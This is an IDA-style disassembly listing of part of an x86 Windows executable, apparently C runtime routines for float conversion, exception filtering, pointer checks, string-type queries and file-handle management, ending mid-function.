var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_413959:				; CODE XREF: sub_413923+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_413959
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_41398B:				; CODE XREF: sub_413923+86j
		cmp	ebx, edi
		jl	short loc_41399E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_4139A5
; ---------------------------------------------------------------------------


loc_41399E:				; CODE XREF: sub_413923+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_4139A5:				; CODE XREF: sub_413923+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_41398B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_413923	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4139B0	proc near		; CODE XREF: sub_413B1C+Dp
					; sub_413B32+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_413A1D
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_413908
		test	eax, eax
		pop	ecx
		jnz	loc_413ADC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4138FC
		pop	ecx


loc_413A15:				; CODE XREF: sub_4139B0+E4j
		push	2


loc_413A17:				; CODE XREF: sub_4139B0+110j
		pop	eax
		jmp	loc_413ADE
; ---------------------------------------------------------------------------


loc_413A1D:				; CODE XREF: sub_4139B0+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4138E1
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_413855
		add	esp, 10h
		test	eax, eax
		jz	short loc_413A3E
		inc	ebx


loc_413A3E:				; CODE XREF: sub_4139B0+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_413A56
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4138FC
		pop	ecx
		jmp	short loc_413A92
; ---------------------------------------------------------------------------


loc_413A56:				; CODE XREF: sub_4139B0+98j
		cmp	ebx, eax
		jg	short loc_413A99
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4138E1
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_413923
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_413855
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_413923
		add	esp, 20h


loc_413A92:				; CODE XREF: sub_4139B0+A4j
		xor	esi, esi
		jmp	loc_413A15
; ---------------------------------------------------------------------------


loc_413A99:				; CODE XREF: sub_4139B0+A8j
		cmp	ebx, [edi]
		jl	short loc_413AC5
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4138FC
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_413923
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_413A17
; ---------------------------------------------------------------------------


loc_413AC5:				; CODE XREF: sub_4139B0+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_413923
		pop	ecx
		pop	ecx


loc_413ADC:				; CODE XREF: sub_4139B0+55j
		xor	eax, eax


loc_413ADE:				; CODE XREF: sub_4139B0+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_413B0D
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_413B17
; ---------------------------------------------------------------------------


loc_413B0D:				; CODE XREF: sub_4139B0+14Ej
		cmp	edi, 20h
		jnz	short loc_413B17
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_413B17:				; CODE XREF: sub_4139B0+15Bj
					; sub_4139B0+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4139B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_413B1C	proc near		; CODE XREF: sub_413B48+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_420598
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4139B0
		add	esp, 0Ch
		retn
sub_413B1C	endp


; =============== S U B	R O U T	I N E =======================================



sub_413B32	proc near		; CODE XREF: sub_413B75+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_4205B0
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4139B0
		add	esp, 0Ch
		retn
sub_413B32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413B48	proc near		; CODE XREF: sub_4107FE+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_414CF7
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_413B1C
		add	esp, 24h
		leave
		retn
sub_413B48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413B75	proc near		; CODE XREF: sub_4107FE+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_414CF7
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_413B32
		add	esp, 24h
		leave
		retn
sub_413B75	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413BA2	proc near		; CODE XREF: sub_41083C+65p
					; sub_410940+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_413BDF
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_413BC5:				; CODE XREF: sub_413BA2+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_413BD1
		movsx	edx, dl
		inc	ecx
		jmp	short loc_413BD4
; ---------------------------------------------------------------------------


loc_413BD1:				; CODE XREF: sub_413BA2+27j
		push	30h
		pop	edx


loc_413BD4:				; CODE XREF: sub_413BA2+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_413BC5
		mov	edx, [ebp+arg_8]


loc_413BDF:				; CODE XREF: sub_413BA2+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_413BF8
		cmp	byte ptr [ecx],	35h
		jl	short loc_413BF8


loc_413BEB:				; CODE XREF: sub_413BA2+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_413BF6
		mov	byte ptr [eax],	30h
		jmp	short loc_413BEB
; ---------------------------------------------------------------------------


loc_413BF6:				; CODE XREF: sub_413BA2+4Dj
		inc	byte ptr [eax]


loc_413BF8:				; CODE XREF: sub_413BA2+42j
					; sub_413BA2+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_413C02
		inc	dword ptr [edx+4]
		jmp	short loc_413C14
; ---------------------------------------------------------------------------


loc_413C02:				; CODE XREF: sub_413BA2+59j
		push	edi
		call	sub_40B5B0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_40BE50
		add	esp, 10h


loc_413C14:				; CODE XREF: sub_413BA2+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_413BA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413C19	proc near		; CODE XREF: sub_41083C+3Fp
					; sub_410940+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_413C7D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_47FAE0
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_4151C8
		mov	dword_47FB08, eax
		add	esp, 18h
		movsx	eax, byte_47FAE2
		mov	dword_47FB00, eax
		pop	edi
		movsx	eax, word_47FAE0
		mov	dword_47FB04, eax
		mov	dword_47FB0C, offset dword_47FAE4
		mov	eax, offset dword_47FB00
		pop	esi
		leave
		retn
sub_413C19	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413C7D	proc near		; CODE XREF: sub_413C19+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_413CCB
		cmp	ebx, edi
		jz	short loc_413CC4
		lea	edi, [ecx+3C00h]
		jmp	short loc_413CEC
; ---------------------------------------------------------------------------


loc_413CC4:				; CODE XREF: sub_413C7D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_413CEC
; ---------------------------------------------------------------------------


loc_413CCB:				; CODE XREF: sub_413C7D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_413CE3
		cmp	edx, ebx
		jnz	short loc_413CE3
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_413D2E
; ---------------------------------------------------------------------------


loc_413CE3:				; CODE XREF: sub_413C7D+52j
					; sub_413C7D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_413CEC:				; CODE XREF: sub_413C7D+45j
					; sub_413C7D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_413D04:				; CODE XREF: sub_413C7D+A6j
		test	ecx, esi
		jnz	short loc_413D25
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_413D04
; ---------------------------------------------------------------------------


loc_413D25:				; CODE XREF: sub_413C7D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_413D2E:				; CODE XREF: sub_413C7D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_413C7D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_40D60A
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_413D3C	proc near		; DATA XREF: sub_413D82o
					; .nsp0:0041FD68o ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_413D5F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_413D5F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_413D5F
		jmp	sub_4113CC
; ---------------------------------------------------------------------------


loc_413D5F:				; CODE XREF: sub_413D3C+Dj
					; sub_413D3C+13j ...
		mov	eax, dword_47FB10
		test	eax, eax
		jz	short loc_413D7C
		push	eax
		call	sub_413DD8
		test	eax, eax
		pop	ecx
		jz	short loc_413D7C
		push	esi
		call	dword_47FB10
		jmp	short loc_413D7E
; ---------------------------------------------------------------------------


loc_413D7C:				; CODE XREF: sub_413D3C+2Aj
					; sub_413D3C+35j
		xor	eax, eax


loc_413D7E:				; CODE XREF: sub_413D3C+3Ej
		pop	esi
		retn	4
sub_413D3C	endp


; =============== S U B	R O U T	I N E =======================================



sub_413D82	proc near		; DATA XREF: .nsp0:00419020o
		push	offset sub_413D3C
		call	dword_41702C	; SetUnhandledExceptionFilter
		mov	dword_47FB10, eax
		retn
sub_413D82	endp


; =============== S U B	R O U T	I N E =======================================



sub_413D93	proc near		; DATA XREF: .nsp0:00419038o
		push	dword_47FB10
		call	dword_41702C	; SetUnhandledExceptionFilter
		retn
sub_413D93	endp


; =============== S U B	R O U T	I N E =======================================



sub_413DA0	proc near		; CODE XREF: sub_410C14+6Bp
					; sub_411125+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	dword_417028	; IsBadReadPtr
		test	eax, eax
		jz	short loc_413DB8
		xor	esi, esi


loc_413DB8:				; CODE XREF: sub_413DA0+14j
		mov	eax, esi
		pop	esi
		retn
sub_413DA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_413DBC	proc near		; CODE XREF: sub_411125+73p
					; sub_411125+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	dword_41713C	; IsBadWritePtr
		test	eax, eax
		jz	short loc_413DD4
		xor	esi, esi


loc_413DD4:				; CODE XREF: sub_413DBC+14j
		mov	eax, esi
		pop	esi
		retn
sub_413DBC	endp


; =============== S U B	R O U T	I N E =======================================



sub_413DD8	proc near		; CODE XREF: sub_411125+15Bp
					; sub_413D3C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	dword_417024	; IsBadCodePtr
		test	eax, eax
		jz	short loc_413DEC
		xor	esi, esi


loc_413DEC:				; CODE XREF: sub_413DD8+10j
		mov	eax, esi
		pop	esi
		retn
sub_413DD8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4113CC


loc_413DF0:				; CODE XREF: sub_4113CC:loc_41141Dj
		push	0Ah
		call	sub_41303D
		push	16h
		call	sub_41545B
		pop	ecx
		pop	ecx
		push	3
		call	sub_40D156
; END OF FUNCTION CHUNK	FOR sub_4113CC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413E07	proc near		; CODE XREF: sub_4114D9+5Ep
					; sub_41227E+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_417B70
		push	offset sub_412F2C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_47FB14
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_413E76
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_417860
		push	esi
		call	dword_41701C	; GetStringTypeW
		test	eax, eax
		jz	short loc_413E54
		mov	eax, esi
		jmp	short loc_413E71
; ---------------------------------------------------------------------------


loc_413E54:				; CODE XREF: sub_413E07+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_42226C
		push	esi
		push	ebx
		call	dword_417020	; GetStringTypeA
		test	eax, eax
		jz	loc_413F3C
		push	2
		pop	eax


loc_413E71:				; CODE XREF: sub_413E07+4Bj
		mov	dword_47FB14, eax


loc_413E76:				; CODE XREF: sub_413E07+2Fj
		cmp	eax, 2
		jnz	short loc_413E9F
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_413E87
		mov	eax, dword_47F9A4


loc_413E87:				; CODE XREF: sub_413E07+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	dword_417020	; GetStringTypeA
		jmp	loc_413F3E
; ---------------------------------------------------------------------------


loc_413E9F:				; CODE XREF: sub_413E07+72j
		cmp	eax, 1
		jnz	loc_413F3C
		cmp	[ebp+arg_10], ebx
		jnz	short loc_413EB5
		mov	eax, dword_47F9B4
		mov	[ebp+arg_10], eax


loc_413EB5:				; CODE XREF: sub_413E07+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	dword_4170C4	; MultiByteToWideChar
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_413F3C
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_40B690
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_40B630
		add	esp, 0Ch
		jmp	short loc_413F0B
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_413F0B:				; CODE XREF: sub_413E07+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_413F3C
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	dword_4170C4	; MultiByteToWideChar
		cmp	eax, ebx
		jz	short loc_413F3C
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	dword_41701C	; GetStringTypeW
		jmp	short loc_413F3E
; ---------------------------------------------------------------------------


loc_413F3C:				; CODE XREF: sub_413E07+61j
					; sub_413E07+9Bj ...
		xor	eax, eax


loc_413F3E:				; CODE XREF: sub_413E07+93j
					; sub_413E07+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_413E07	endp


; =============== S U B	R O U T	I N E =======================================



sub_413F50	proc near		; CODE XREF: sub_41416A:loc_4142E2p
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_480C40


loc_413F5F:				; CODE XREF: sub_413F50+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_413F9C
		lea	edx, [eax+100h]


loc_413F6B:				; CODE XREF: sub_413F50+28j
		cmp	eax, edx
		jnb	short loc_413F8B
		test	byte ptr [eax+4], 1
		jz	short loc_413F7A
		add	eax, 8
		jmp	short loc_413F6B
; ---------------------------------------------------------------------------


loc_413F7A:				; CODE XREF: sub_413F50+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_413FDF


loc_413F8B:				; CODE XREF: sub_413F50+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_480D40
		jl	short loc_413F5F
		jmp	short loc_413FDF
; ---------------------------------------------------------------------------


loc_413F9C:				; CODE XREF: sub_413F50+13j
		mov	esi, 100h
		push	esi
		call	sub_40B6BF
		test	eax, eax
		pop	ecx
		jz	short loc_413FDF
		add	dword_480D40, 20h
		lea	ecx, ds:480C40h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_413FC2:				; CODE XREF: sub_413F50+88j
		cmp	eax, edx
		jnb	short loc_413FDA
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_413FC2
; ---------------------------------------------------------------------------


loc_413FDA:				; CODE XREF: sub_413F50+74j
		shl	edi, 5
		mov	ebx, edi


loc_413FDF:				; CODE XREF: sub_413F50+39j
					; sub_413F50+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_413F50	endp


; =============== S U B	R O U T	I N E =======================================



sub_413FE5	proc near		; CODE XREF: sub_41416A+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_480D40
		push	edi
		jnb	short loc_414045
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:480C40h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_414045
		cmp	dword_41DBF4, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_41403B
		sub	eax, 0
		jz	short loc_414032
		dec	eax
		jz	short loc_41402D
		dec	eax
		jnz	short loc_41403B
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_414035
; ---------------------------------------------------------------------------


loc_41402D:				; CODE XREF: sub_413FE5+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_414035
; ---------------------------------------------------------------------------


loc_414032:				; CODE XREF: sub_413FE5+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_414035:				; CODE XREF: sub_413FE5+46j
					; sub_413FE5+4Bj
		call	dword_417018	; SetStdHandle


loc_41403B:				; CODE XREF: sub_413FE5+36j
					; sub_413FE5+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_414059
; ---------------------------------------------------------------------------


loc_414045:				; CODE XREF: sub_413FE5+Cj
					; sub_413FE5+28j
		and	dword_47F918, 0
		mov	dword_47F914, 9
		or	eax, 0FFFFFFFFh


loc_414059:				; CODE XREF: sub_413FE5+5Ej
		pop	edi
		pop	esi
		retn
sub_413FE5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41405C	proc near		; CODE XREF: sub_411584+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_480D40
		push	edi
		jnb	short loc_4140BF
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:480C40h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_4140BF
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_4140BF
		cmp	dword_41DBF4, 1
		jnz	short loc_4140B5
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_4140AC
		dec	ecx
		jz	short loc_4140A7
		dec	ecx
		jnz	short loc_4140B5
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_4140AF
; ---------------------------------------------------------------------------


loc_4140A7:				; CODE XREF: sub_41405C+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_4140AF
; ---------------------------------------------------------------------------


loc_4140AC:				; CODE XREF: sub_41405C+3Ej
		push	eax
		push	0FFFFFFF6h


loc_4140AF:				; CODE XREF: sub_41405C+49j
					; sub_41405C+4Ej
		call	dword_417018	; SetStdHandle


loc_4140B5:				; CODE XREF: sub_41405C+38j
					; sub_41405C+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_4140D3
; ---------------------------------------------------------------------------


loc_4140BF:				; CODE XREF: sub_41405C+Cj
					; sub_41405C+2Aj ...
		and	dword_47F918, 0
		mov	dword_47F914, 9
		or	eax, 0FFFFFFFFh


loc_4140D3:				; CODE XREF: sub_41405C+61j
		pop	edi
		pop	esi
		retn
sub_41405C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4140D6	proc near		; CODE XREF: sub_411584+32p
					; sub_411584+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_480D40
		jnb	short loc_4140FE
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_480C40[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4140FE
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_4140FE:				; CODE XREF: sub_4140D6+Aj
					; sub_4140D6+23j
		and	dword_47F918, 0
		mov	dword_47F914, 9
		or	eax, 0FFFFFFFFh
		retn
sub_4140D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_414113	proc near		; CODE XREF: sub_411662+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_480D40
		jnb	short loc_41415C
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_480C40[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_41415C
		push	eax
		call	sub_4140D6
		pop	ecx
		push	eax
		call	dword_417014	; FlushFileBuffers
		test	eax, eax
		jnz	short loc_414151
		call	dword_417044	; RtlGetLastWin32Error
		jmp	short loc_414153
; ---------------------------------------------------------------------------


loc_414151:				; CODE XREF: sub_414113+34j
		xor	eax, eax


loc_414153:				; CODE XREF: sub_414113+3Cj
		test	eax, eax
		jz	short locret_414169
		mov	dword_47F918, eax


loc_41415C:				; CODE XREF: sub_414113+Aj
					; sub_414113+22j
		mov	dword_47F914, 9
		or	eax, 0FFFFFFFFh

locret_414169:				; CODE XREF: sub_414113+42j
		retn
sub_414113	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41416A	proc near		; CODE XREF: sub_411A3E+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_414190
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_41419B
; ---------------------------------------------------------------------------


